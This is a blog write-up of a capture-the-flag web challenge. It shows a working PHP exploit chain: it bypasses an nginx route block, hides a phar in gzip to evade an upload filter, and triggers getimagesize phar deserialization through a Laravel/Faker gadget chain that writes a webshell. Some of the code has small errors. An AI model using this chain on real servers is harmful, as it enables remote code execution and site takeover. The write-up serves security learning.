HFCTF-2021-Final tinypng


Features:

  • 利用 Apache 路径重写绕过路由访问限制
  • 压缩 phar 文件绕过 HALT_COMPILER 检测
  • getimagesize trick
  • laravel 8.12 调用链利用

这题是在 buuoj 上复现的,参考了 Switch 学长的复现博客。是到不错的题目,我自己也写一写整理下思路。

查看首页源代码,发现 /image 路由

nginx 配置文件里拒绝了所有访问到 /image 的流量

configs/nginx.conf
Apache 开启了目录重写,因此可以通过 /index.php/image 访问到 /image
configs/default.conf

但是 buu 上的环境可以直接访问到/image。。。

/image 路由页面

分析源码, html/routes/web.php 里设置了个页面的路由。
html/routes/web.php

顺着找到 html/app/Http/Controllers/imgcompress.php 这个文件,这里使用了 getimagesize 函数打开文件,翻一下 php 文档,这个函数支持传入 url 作为参数。
imgcompress.php
getimagesize 函数

这里就可以动手脚了,比如传入个 phar:// 伪协议。写个脚本验证一下:

<?php
class Evil {
    public $name;

    function __wakeup() {
        echo $this->name."\n";
    }
}

$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new Evil();
$o->name = "bad bad";
$phar->setMetadata($o);
$phar->addFromString("data.txt", "test");
$phar->stopBuffering();

getimagesize("phar://evil.phar");

虽然报错了, 但是 getimagesize 函数成功反序列化了 evil.phar !

index 页面路由里对上传的文件的内容进行了检测,检测到 phar 文件标识 __HALT_COMPILER 时会被 waf 拦下。

php 在创建 phar 文件时可以指明 phar 文件的压缩方式,前面创建 phar 文件的代码是没有开启压缩的,__HALT_COMPILER 以明文的方式出现在文件里。开启压缩后就看不到 __HALT_COMPILER 了,但是 php 仍然能正常识别。
未压缩的phar文件

只需在 new Phar('evil.phar') 后加一句

$phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);

查看生成的 evil.phar.tar.gz

__HALT_COMPILER 标记已经没了,用 getimagesize 函数读取一下,仍然能被反序列化。

接下来就是找调用链实现 RCE 了,参考文章

调用链利用到的类:

namespace Symfony\Component\Routing\Loader\Configurator{
    class ImportConfigurator {
        private $parent;
        function __construct($c1){
            $this->parent = $c1;
        }
    }
}
namespace Faker{
    class DefaultGenerator{
        protected $default;
        function __construct($param){
            $this->default = $param;
        }
    }
    class ValidGenerator{
        protected $generator;
        protected $validator;
        protected $maxRetries;
        function __construct($func,$param){
            $this->generator = new DefaultGenerator($param);
            $this->maxRetries = 1;
            $this->validator = $func;
        }
    }
}

生成 phar 归档:

namespace{
    $func = "system";
    $args = 'echo "<?php \$_POST[\'cmd\']; ?>" > 1.php';
    $phar = new Phar('evil.phar');
    $phar = $phar->convertToExecutable(Phar::TAR, Phar::GZ);
    $phar->startBuffering();
    $phar->setStub('<?php __HALT_COMPILER();?>');
    $phar->addFromString('test.txt', 'test');
    $o = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator(
        new Faker\ValidGenerator($func, $args);
    );
    $phar->setMetadata($o);
    $phar->stopBuffering();
}

将生成的 evil.phar.tar.gz 后缀名改为 .png, 上传拿到文件路径,访问 /image?image=phar://../storage/uploads/xxx.png 就会在服务器 public 目录下生成 evil.php

然鹅,buu 上给的附件直接放在本地跑是可以成功的(PHP 7.4),远程就死活打不通。。。


文章作者: Summer
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Summer !